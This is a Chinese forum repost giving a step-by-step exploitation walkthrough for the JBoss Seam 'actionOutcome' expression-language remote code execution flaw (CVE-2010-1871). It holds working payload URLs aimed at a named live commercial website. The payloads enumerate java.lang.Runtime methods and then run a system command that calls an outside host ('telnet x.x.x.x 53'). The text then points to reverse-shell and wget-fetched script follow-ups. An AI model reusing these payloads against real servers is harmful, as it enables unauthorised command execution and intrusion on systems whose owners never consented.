转自:http://t00ls.net/viewthread.php?tid=19907&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000

还是这google security team的那位大牛,在Struts2/XWork 远程代码执行漏洞爆出后的不久,这位牛人又公布了一个看似危害不大但是扩展后危害巨大的远程代码执行漏洞。

原文在:http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html,当时看的时候没整明白,这次重学java安全,重拾旧文,新有感触,看着国人没人提及到这个问题,所以这里我简单用实例说下这个漏洞的利用,偶尔在一些应用上还是可以直接获得权限的,次要目的就是怕t00ls的大牛把我的id删了啊,伤不起啊。

这个问题依然是 expression language 惹的祸,在jboss seam中是actionOutcome这个参数引发的,下面说下如何利用,虽然原文也说到了,全当是中文版的吧。

这个漏洞的利用关键是找到这俩个函数的索引号:

1) public java.lang.Process

java.lang.Runtime.exec(java.lang.String) throws java.io.IOException

2) public static java.lang.Runtime

java.lang.Runtime.getRuntime()

怎么找,那就利用getDeclaredMethods()这个方法来爆,最大一般也就是20多,和os有关,从开始到20试一遍,看爆出来的代码,就可以找到。

我在google搜了个目标:http://www.paytraq.com,我这里提交的:http://www.paytraq.com/paytraq/home.seam?actionOutcome=/tour.xhtml%3fpwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[13]}

跳转到了tour.seam这个页面,tour.seam是必须存在的,这也是为什么上面的语句是/tour.xhtml,跳转的时候会把爆出的代码作为参数加在tour.seam上,更具这个,我们就能找到上面的俩个方法,如图:

关于 jboss seam framework 远程代码执行漏洞的利用

看到这个,我们就找到了第一个方法了,我从20倒着测试到13的,找到了,继续测试就可以找到第二个方法,我找到的是序号是6:

http://www.paytraq.com/paytraq/home.seam?actionOutcome=/tour.xhtml%3fpwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[6]}

关于 jboss seam framework 远程代码执行漏洞的利用

俩个方法都找到了,下面就要利用他俩执行系统命令了:

home.seam?actionOutcome=/tour.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[13].invoke(expressions.getClass().forName('java.lang.R
untime').getDeclaredMethods()[6].invoke(null), 'telnet x.x.x.x 53')}

关于 jboss seam framework 远程代码执行漏洞的利用

成功返回来了,至于继续,你可以用这份文章中的方法反弹shell(http://www.coresec.org/2011/05/28/reverse-shell-techniques-for-linux/),也可以下wget反弹脚本继续。。。

java及其框架的漏洞很好很强大,相信研究的人不少,说出来的不多,细的东西各位基友慢慢挖掘去,t00ls的大牛别删我id啊,呵呵。